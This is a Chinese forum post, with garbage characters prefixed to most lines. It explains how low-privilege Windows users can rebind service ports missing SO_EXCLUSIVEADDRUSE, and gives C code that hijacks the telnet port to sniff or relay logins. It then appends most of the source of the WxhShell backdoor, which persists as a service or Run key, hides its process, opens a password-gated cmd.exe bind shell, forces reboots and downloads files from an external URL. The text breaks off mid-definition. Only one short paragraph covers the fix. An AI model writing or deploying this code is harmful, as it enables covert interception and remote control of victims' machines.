在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C8J3^?7E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
S]P80|!| L'*P;z7< saddr.sin_family = AF_INET;
.&Vyo<9Ck #hNp1y2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tSZd0G<A<o 5 GwXZ;(G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
N?7vcN+-t) X53TFRxnT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$_5@NOZ,M HLPnbI-+ 这意味着什么?意味着可以进行如下的攻击:
JLZ[sWP=' <0,szw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6*cY[R|q! CXzN4! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?]d[K>bv xz#.3|_(' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=36e&z-# upJ|`,G{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:N3'$M" /!u#S9_B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q]?Lg vbZGs7% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5_d=~whO&2 [CfA\-gx<f 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=>PBdW * MJl( #include
@k ~_ w# #include
frYPC
Irj #include
6]#\|lds1 #include
!A 6l\_ DWORD WINAPI ClientThread(LPVOID lpParam);
c1,dT2:= int main()
!Gphs`YI {
P@u&~RN9f+ WORD wVersionRequested;
Rilr)$ DWORD ret;
9O%4x"*PO WSADATA wsaData;
) ny,vcU] BOOL val;
Rj/9\F3H SOCKADDR_IN saddr;
T}?vp~./ SOCKADDR_IN scaddr;
w'Kc#2 int err;
ddR_+B*H SOCKET s;
w84
]s%y SOCKET sc;
Mohy;#8Wk int caddsize;
e'
`xU HANDLE mt;
d^&F%)AT DWORD tid;
$S"QyAH~-a wVersionRequested = MAKEWORD( 2, 2 );
Vs)%*1>< err = WSAStartup( wVersionRequested, &wsaData );
UacGq, if ( err != 0 ) {
ATeXOe printf("error!WSAStartup failed!\n");
W[dMf!( return -1;
`mI%Se }
n(mS saddr.sin_family = AF_INET;
}>
51oBgk_ e<wRA[" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0P5!fXs* +!(W>4F saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`%2e?"OOJ saddr.sin_port = htons(23);
8\M%\]_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pearf2F {
.>(?c92 printf("error!socket failed!\n");
4LCgQS6 return -1;
A/ eZ!"Y }
HzO6hb{jJO val = TRUE;
YzcuS/~x //SO_REUSEADDR选项就是可以实现端口重绑定的
AX|-Gv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
R|Oy/RGY$ {
5 i1T? printf("error!setsockopt failed!\n");
!~'\Ey return -1;
Kb_R "b3v }
gc'C"(TO( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4{'0-7} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^ExA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[\h k_(} *>=vSRL0_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/S]W<8d {
2u[:3K-@, ret=GetLastError();
xHml"Y1 printf("error!bind failed!\n");
(3RU|4Ks return -1;
<JA`e+Bi }
hIj[#M&6 listen(s,2);
%j].'
; while(1)
QK5y%bTSA {
$ {$XJs4 caddsize = sizeof(scaddr);
2$D
*~~ //接受连接请求
5G~; g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
eQk ~YA]K if(sc!=INVALID_SOCKET)
fwy-M: {
8ycmvpJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)shzJ9G if(mt==NULL)
O<R6^0B42 {
xM1>kbo| printf("Thread Creat Failed!\n");
tQ7DdVdix break;
gTK5z.] }
8s4y7%,| }
(D'Z4Y CloseHandle(mt);
wz*QB6QtU }
2a;vLc4 closesocket(s);
+$ )C KC WSACleanup();
B|IQ/g? return 0;
e75k- }
(89NK]2x DWORD WINAPI ClientThread(LPVOID lpParam)
o7feH 6Sh {
(}Ql#q
K SOCKET ss = (SOCKET)lpParam;
U*ZP>Vv SOCKET sc;
t)o #!)| unsigned char buf[4096];
@:@0}]%z9 SOCKADDR_IN saddr;
\TG!M]D: long num;
n:?fv=9n DWORD val;
A9!gww DWORD ret;
, #yE#8 //如果是隐藏端口应用的话,可以在此处加一些判断
R
v9?<] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
a;Ic!:L saddr.sin_family = AF_INET;
{~yj]+Im saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
PUB|XgQDY: saddr.sin_port = htons(23);
=*.Nt*;; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4z-sR/ d {
3G9YpA_}X printf("error!socket failed!\n");
b#-5b%ON return -1;
pti`q) }
9i)E<.6 val = 100;
LxkToO{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XD`QU m {
4BG6C'`% ret = GetLastError();
L<>;E return -1;
tb7Wr1$< }
#Zpp*S55 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8<$6ufvOv {
j380=?7 ret = GetLastError();
Qp7|p return -1;
cL&V2I5O }
p6[a"~y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
omM*h{z$$ {
4Vj|k\vE4 printf("error!socket connect failed!\n");
b=a&!r5M closesocket(sc);
xm>RLx}9 closesocket(ss);
:Ia3yi# return -1;
rE"`q1b# }
c,KT1me while(1)
YzU(U_g$ {
;YxQo
o> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v*5n$UFV //如果是嗅探内容的话,可以再此处进行内容分析和记录
W|@EK E.k //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aG?ko*A; num = recv(ss,buf,4096,0);
SoODss~X if(num>0)
i^(_Gk send(sc,buf,num,0);
;C%40;Q else if(num==0)
59";{"sw break;
-zg,pK$+ num = recv(sc,buf,4096,0);
CjM+%l0MW if(num>0)
AiSO|!<.N send(ss,buf,num,0);
wJJ4F$"b else if(num==0)
)W'l^R4W break;
F\+wM*:U }
s+>""yi closesocket(ss);
_`WbR&d2Id closesocket(sc);
*
B,D#;6 return 0 ;
`G\uTC pk }
9|dgmEd PYqx&om 4VPL
-":6 ==========================================================
@`aR*B ^ Sx0t 下边附上一个代码,,WXhSHELL
@D8c-`LC"* Y((s<]7 ==========================================================
EA%(+tJ^0 E;~gQ6vAI #include "stdafx.h"
w4pU^&O ,v:m #include <stdio.h>
,FX;-nP% #include <string.h>
DF'-dh</* #include <windows.h>
$b\`N2J-_ #include <winsock2.h>
bL
(g$Yi #include <winsvc.h>
!<]%V]5[_ #include <urlmon.h>
dg 0`0k ;A~S){ #pragma comment (lib, "Ws2_32.lib")
oju7<b9Ez #pragma comment (lib, "urlmon.lib")
?b 2 F ^Rt
6Io #define MAX_USER 100 // 最大客户端连接数
>/1N#S#9 #define BUF_SOCK 200 // sock buffer
%\=5,9A\ #define KEY_BUFF 255 // 输入 buffer
8Cz_LyL QRXsLdf$$ #define REBOOT 0 // 重启
^ng#J\
#define SHUTDOWN 1 // 关机
zcD&xoL\H 9H?er_6Yf #define DEF_PORT 5000 // 监听端口
?hvPPEJf j$^3 #define REG_LEN 16 // 注册表键长度
K+ xiov-r? #define SVC_LEN 80 // NT服务名长度
a ^<W
?Z B;[{7J] // 从dll定义API
< i*v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ex7zg! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l]inG^s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
R9D<lX0% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
JPS22i)P q5?g/-_0[ // wxhshell配置信息
tYiK#N7 struct WSCFG {
w"$CV@AJ int ws_port; // 监听端口
Y$!K<c k char ws_passstr[REG_LEN]; // 口令
`h_,I R< int ws_autoins; // 安装标记, 1=yes 0=no
>>=lh char ws_regname[REG_LEN]; // 注册表键名
}N(-e$88 char ws_svcname[REG_LEN]; // 服务名
E"bYl3 char ws_svcdisp[SVC_LEN]; // 服务显示名
WM NcPHcj char ws_svcdesc[SVC_LEN]; // 服务描述信息
:y%%Vx~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(;P)oB"`C int ws_downexe; // 下载执行标记, 1=yes 0=no
0G1? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6#fl1GdH- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
jDIO,XuF |Y"q. n77 };
5b3Wt7 FGu:8`c9 // default Wxhshell configuration
$n& alcU struct WSCFG wscfg={DEF_PORT,
!p4w
8 "xuhuanlingzhe",
$[5ihV$u 1,
y7dnXO!g9- "Wxhshell",
%)8`(9J* "Wxhshell",
,i#]&f`c;5 "WxhShell Service",
"DM$FRI0 "Wrsky Windows CmdShell Service",
{MU>5\ "Please Input Your Password: ",
.2/(G{}U 1,
9r@r\- "
http://www.wrsky.com/wxhshell.exe",
LEvdPG$) "Wxhshell.exe"
G`PSb<h\oc };
mm\Jf `o
yz"07m // 消息定义模块
ct=|y(_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NqvL,~1G char *msg_ws_prompt="\n\r? for help\n\r#>";
|_8::kir: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
g<{/mxv/ char *msg_ws_ext="\n\rExit.";
RK#e7 char *msg_ws_end="\n\rQuit.";
GrjL9+|x char *msg_ws_boot="\n\rReboot...";
_aL:XKM char *msg_ws_poff="\n\rShutdown...";
^RrufwUA char *msg_ws_down="\n\rSave to ";
OaRtGJnR 9d^o2Yo char *msg_ws_err="\n\rErr!";
#ebT$hf30 char *msg_ws_ok="\n\rOK!";
#>GUfhou) Bu">)AnN char ExeFile[MAX_PATH];
:XEr{X int nUser = 0;
xz[a3In+ HANDLE handles[MAX_USER];
PmyS6a@ int OsIsNt;
He^+>XIam YUJlQ2e( SERVICE_STATUS serviceStatus;
{co(w
7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
kX."|] E8J`7sa // 函数声明
"12.Bi.O"[ int Install(void);
)Xg,;^ int Uninstall(void);
H>_ FCV8 int DownloadFile(char *sURL, SOCKET wsh);
p{xO+Nx1a int Boot(int flag);
tiSN amvG1 void HideProc(void);
;H/*%2 int GetOsVer(void);
2+
F34 int Wxhshell(SOCKET wsl);
iJIPH>UMX void TalkWithClient(void *cs);
!/ TeTmo int CmdShell(SOCKET sock);
q0{KYWOvk int StartFromService(void);
hL~@Ah5&t int StartWxhshell(LPSTR lpCmdLine);
nzE4P3 C+ v' .:?9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\ F#mwl,>" VOID WINAPI NTServiceHandler( DWORD fdwControl );
~b/lr @|(mR-Jj // 数据结构和表定义
qY`)W[ SERVICE_TABLE_ENTRY DispatchTable[] =
>t7xa]G {
\NKf$"x} {wscfg.ws_svcname, NTServiceMain},
'x{g P?. {NULL, NULL}
<iunDL0 };
i%+cPQ^o G<OC99;8 // 自我安装
1VL!0H int Install(void)
SdBv?`u|g {
6|wiZw char svExeFile[MAX_PATH];
;0O3b HKEY key;
q]YPDdR# strcpy(svExeFile,ExeFile);
"8%B
(a
5A |8PUmax // 如果是win9x系统,修改注册表设为自启动
`Gzukh if(!OsIsNt) {
h2ewYe<87` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t%ye: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vg"y$% RegCloseKey(key);
5p}Y6Lc\j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&1YqPk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
evNo(U\C RegCloseKey(key);
3Ba>a(E return 0;
v+f:VA }
m5Q,RwJ!xK }
&$t BD@7 }
`}#(Ze*V: else {
=Ig'Aw$ x v Ic0V // 如果是NT以上系统,安装为系统服务
3P~I'FQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
u@5vK2 if (schSCManager!=0)
_*h,,Q {
eU'DQp* SC_HANDLE schService = CreateService
`G&W%CHB (
Er^ijh, schSCManager,
r/'9@oM wscfg.ws_svcname,
zJWBovT/ wscfg.ws_svcdisp,
0'*whhH SERVICE_ALL_ACCESS,
]4-lrI1# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
."Wdpf`~ SERVICE_AUTO_START,
BM!\U 6 SERVICE_ERROR_NORMAL,
G[n^SEY! svExeFile,
0"7xCx NULL,
"-GjwB NULL,
exrsYo!% NULL,
-FV$Sne NULL,
IJ2 ]2FI NULL
tp<uN~rTgh );
3?SofPtc/ if (schService!=0)
*#-X0}'s {
DKgwi'R CloseServiceHandle(schService);
BlUl5mP}> CloseServiceHandle(schSCManager);
m6tbN/EJZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
By(:%=. strcat(svExeFile,wscfg.ws_svcname);
a5ZU"6Hi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{2G9>' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Yh)yp? RegCloseKey(key);
l?v`kAMR return 0;
&cztUM( }
,}2yxo;i }
QEK,mc3 CloseServiceHandle(schSCManager);
OY7\*wc: }
q+f]E&': }
[T#5$J rTYDa3 return 1;
sc'QNhrW }
QLrFAV Wc [@, // 自我卸载
a)=WDRk int Uninstall(void)
Ac;rMwXk# {
qOYCQ HKEY key;
rStfluPL vKN"o* q if(!OsIsNt) {
3-#|6khqt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O9*cV3}H RegDeleteValue(key,wscfg.ws_regname);
gXN#<g,:^ RegCloseKey(key);
]Aap4+s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E;$)Oz RegDeleteValue(key,wscfg.ws_regname);
>y)(M(o RegCloseKey(key);
7_C;- return 0;
qYv/"
1 }
*5Upb,** }
T.O^40y }
',j'Hf else {
|P7c { 48dIh\TH" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Kk+IUs if (schSCManager!=0)
;ZZ%(P=- {
hV|pH)Nu{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Bv_C *vW if (schService!=0)
Q<W9<&VZe {
Jv1igA21_h if(DeleteService(schService)!=0) {
WGjT06a\ CloseServiceHandle(schService);
l<5O\?Vo] CloseServiceHandle(schSCManager);
%Z~,F? return 0;
tz0@csXV }
hgMh]4wN* CloseServiceHandle(schService);
"]J4 BZD }
^]c/hb|X CloseServiceHandle(schSCManager);
Fgq"d7` 9@ }
tn\Y: }
a$ a+3}\ U">J$M@ return 1;
a7'.*H] }
EeGP E N1$lG?
)+ // 从指定url下载文件
U ^1Xc#Ff int DownloadFile(char *sURL, SOCKET wsh)
YSwAu,$jf {
@w&VI6 HRESULT hr;
p48M7OV char seps[]= "/";
0STtwfTr: char *token;
[.4R ,[U char *file;
=g4^tIYq char myURL[MAX_PATH];
!GI*R2<W char myFILE[MAX_PATH];
cmgI,n-o? ?:l3O_U5 strcpy(myURL,sURL);
Awl4*J~ token=strtok(myURL,seps);
*KNj5>6= while(token!=NULL)
<>$`vuU {
)&:4//}a file=token;
=H6"\`W token=strtok(NULL,seps);
vaL+@Kq~& }
%7=B?c| ,73kh GetCurrentDirectory(MAX_PATH,myFILE);
)\!_`ob strcat(myFILE, "\\");
'9^+J7iO(+ strcat(myFILE, file);
A6ipA/_ send(wsh,myFILE,strlen(myFILE),0);
P5s'cPX send(wsh,"...",3,0);
.Tr!/mf_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]oB-qfbH if(hr==S_OK)
5=%:CN!/@p return 0;
ixF
'- else
+F3@-A return 1;
/Am,5X. `|K30hRp: }
JU+Uzp vQB;a?)o // 系统电源模块
2RXU75VY int Boot(int flag)
C9zQ{G {
O\y#|=d HANDLE hToken;
X`bN/sI TOKEN_PRIVILEGES tkp;
1A\Jh3;Q
i zJa`K if(OsIsNt) {
mh`~1aEr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Eukj2a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)RA$E`!b tkp.PrivilegeCount = 1;
kBolDPvBG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0'y9HE'e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,E,oz {,i( if(flag==REBOOT) {
*,qW9z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,]HH%/h
return 0;
D?;8bI%" }
>zcR ?PPs else {
{n9]ej^
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
SXX6EIJr| return 0;
/V@~Vlww }
Ny|2Fcs }
,ErJUv else {
u1K;{>4lx if(flag==REBOOT) {
EIZSV> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2qV.`d return 0;
5dc24GB>_ }
:SFcnYv0 else {
UjLZ!-} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
RbB
y8ZVM return 0;
Zp'c>ty= }
[ ySO }
N&g9z{m7 9x;CJhX return 1;
!14aw9Q }
nXH U|5.I Lc,` // win9x进程隐藏模块
f9v%k'T[ void HideProc(void)
={&}8VA {
sOzmw^7 *m2{6N_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9pAklD 4 if ( hKernel != NULL )
r #H(kJu, {
5J!ncLNm{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3[8F:I0UL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|"V]$s$ c FreeLibrary(hKernel);
s5{N+O)~S }
g/H:`J <vS J<WY return;
b+/XVEsr }
-I."= c% +$Q.N{LV // 获取操作系统版本
,<iJ#$:
Sx int GetOsVer(void)
!YD~o/t@| {
&"!s +_ OSVERSIONINFO winfo;
tXj28sh$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4o7(cP GetVersionEx(&winfo);
N7%iz+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,\*PpcU return 1;
<>3}<i<[& else
eu!B
, return 0;
Fkgnc{NI }
kmHIU}Z +EI+@hS // 客户端句柄模块
-h=K]Y{` int Wxhshell(SOCKET wsl)
T)%34gN {
9
Yv;Dom SOCKET wsh;
3Z?"M struct sockaddr_in client;
&)F8i#M DWORD myID;
OcR6\t'
r!Ujy .R while(nUser<MAX_USER)
{2u#Q7]| {
aLr\Uq,83 int nSize=sizeof(client);
m1,?rqeb wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1J$sIY,Ou if(wsh==INVALID_SOCKET) return 1;
aXi5~,Ks_ OVr,
{[r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
s^5KFK1 if(handles[nUser]==0)
r\6 "mU closesocket(wsh);
IIC1T{D}v else
lwS6"2q nUser++;
J:s^F
n }
4 3cdWd% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cYBv}ylw}R &?~OV:r9 return 0;
3SbtN3 }
?xTMmm q,b6). // 关闭 socket
dWR0tS6vR` void CloseIt(SOCKET wsh)
,E&PIbDL1 {
P'Q|0lB closesocket(wsh);
=4RXNWkud nUser--;
x13t@b ExitThread(0);
8r7}6 }
B8Ob~? ?6h65GO{ // 客户端请求句柄
WzM9{c void TalkWithClient(void *cs)
C$MaJHkiF {
.j*muDVQn }9n{E-bj * SOCKET wsh=(SOCKET)cs;
R"Ol'y{ char pwd[SVC_LEN];
wNsAVUjLe char cmd[KEY_BUFF];
L2"fO char chr[1];
\0&7^ int i,j;
:',.I \@yx;}bdI while (nUser < MAX_USER) {
2-G he3 _N`:NOM if(wscfg.ws_passstr) {
j3j<01rq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#=)(t${7' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h.\V;6ly //ZeroMemory(pwd,KEY_BUFF);
G8}w|'0m i=0;
5LVhq[}mP while(i<SVC_LEN) {
d*7nz=0&$ p( EV-^
// 设置超时
)vH6N _ fd_set FdRead;
PoyY}Ra struct timeval TimeOut;
"PA: FD_ZERO(&FdRead);
b21c} rI3 FD_SET(wsh,&FdRead);
aA Hx^X^ TimeOut.tv_sec=8;
OnO56,+S^ TimeOut.tv_usec=0;
<~9z.v7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
oj.f
uJD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
D
==H{c1F U1pL
`P1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
o(~QuHOp8> pwd
=chr[0]; r^3QDoy
if(chr[0]==0xd || chr[0]==0xa) { %'2DEt??
pwd=0; j{)_&|^{
break; \x JGR!
} .h)o\6Wq
i++; uyr56
} 9
yH/5'
<gU^#gsGra
// 如果是非法用户,关闭 socket X"V,3gDG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ImJ2tz6
} u&)+~X
"#uXpCuw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9IFK4>&O6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sQt]Y&_/@
l7G&[\~
while(1) { \B _g=K
V=!tZ[4z$h
ZeroMemory(cmd,KEY_BUFF); $~M#msK9
/15e-(Zz/
// 自动支持客户端 telnet标准 g_z%L?N
j=0; n W2[x;
while(j<KEY_BUFF) { u<`CkYT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?C#=Q6
cmd[j]=chr[0]; Q v/}WnBk
if(chr[0]==0xa || chr[0]==0xd) { YVy+1q[
cmd[j]=0; C3|(XChqC
break; ;>?NH6B,
} ;m/%g{oV
j++; PprCz"
} Hm=!;xAFX
N}0-L$@SL
// 下载文件 V:?exJg9
if(strstr(cmd,"http://")) { s;-(dQ{O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `TNWLD@Z
if(DownloadFile(cmd,wsh)) Y{P0?`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TxZ ^zj
else %{$iN|%J%$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P$E #C:=
} `Q d_Gu,M
else { a4gJ-FE
%%[ "&
switch(cmd[0]) { KCR6@{@
Obd@#uab
// 帮助 s{v!jZ
case '?': { AH$D./a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [d="94Ab
break; FX
QUj&9
} t!MGSB~
// 安装 %u"3&kOV
case 'i': { 3D3/\E#'o
if(Install()) D$|@:
mW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[(29|`]
else N%Gb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RJ/4T#b"+
break; (UWV#AR
} !Yx9=>R
// 卸载 a6AD`| U8
case 'r': { rt+%&%wt
if(Uninstall()) \v(}@zcB|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XW]'by
else $RxS<_tj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w0n.Y-v4i
break; b,]QfC
} 2y/|/IW=
// 显示 wxhshell 所在路径 eh=.Q<N
case 'p': { HyKvDJ
3_
char svExeFile[MAX_PATH]; "F
nH>g-
strcpy(svExeFile,"\n\r"); \A@Mlpe&t
strcat(svExeFile,ExeFile); ,Y|WSKY*
send(wsh,svExeFile,strlen(svExeFile),0); d{?X:*F
break; LF\4>(C2g
} F91'5D,u0
// 重启 tOx)t$ix
case 'b': { V=%j]`Os
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n&V \s0
if(Boot(REBOOT)) L+s3@C;b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &s.S)'l4l
else { R
pUq#Y:a
closesocket(wsh); 5>{S^i~!
ExitThread(0); 4-RzWSFbo`
} @J"Gn-f~
break; L4bx [
} }GV5':W@WG
// 关机 kk6Af\NZ
case 'd': { 15NeC7GAh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j9FG)0
if(Boot(SHUTDOWN)) ?7Kl)p3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I"TFj$Pg
else { Fk01j;k.H
closesocket(wsh); 49vKb(bz{
ExitThread(0); AN-qcp6=o
} Z_iVOctP
break; G.CkceWRn
} .wj?}Fr?97
// 获取shell }=.:bwX5
case 's': { L\1&$|?
CmdShell(wsh); M^f+R'Q3
closesocket(wsh); R(jp
ExitThread(0); b^WTX
break; Bf
{h\>q
} q~QB?+ x&
// 退出 xaQO=[
case 'x': { ~?l>QP|o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8|FHr,
CloseIt(wsh); /CRZ
break; QrmiQ]d*p
} =Kf]ZKj)
// 离开 OjVI4@E;Xe
case 'q': { h B@M5Mc$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $9LI v
closesocket(wsh); 7OF6;@<
WSACleanup(); v?\Z4Z|f
exit(1); OAGI|`E$/-
break; C!a#M{:
} -+9,RtHR7
} tWD5Yh>.?$
} 9fLxp$`(T
<#c/uIN
// 提示信息 2`2S94'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A.`)
0dV
} -u!{8S~wA
} EZICH&_
kkA5pbS
return; }:6$5/?
} Q]n a_'_
;"gUrcuY
// shell模块句柄 /)Ga<
int CmdShell(SOCKET sock) pAZD>15l"
{ M$@Donx
STARTUPINFO si; o*\Fj}l-
ZeroMemory(&si,sizeof(si)); =a!w)z_rw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gK8E|f-z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S5a?KU
PROCESS_INFORMATION ProcessInfo; |}hV_
char cmdline[]="cmd"; =\[}@Kh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -SF*DZ
return 0; ;gE]*Y.Z.p
} ak_&\'P
S.^/Cl;aj
// 自身启动模式 El9D1],
int StartFromService(void) '
];|
{ 5Vq&w`sW
typedef struct vz{Z
tE"
{ m :M=De
DWORD ExitStatus; -OvzEmI"
DWORD PebBaseAddress; }iOFB&)w
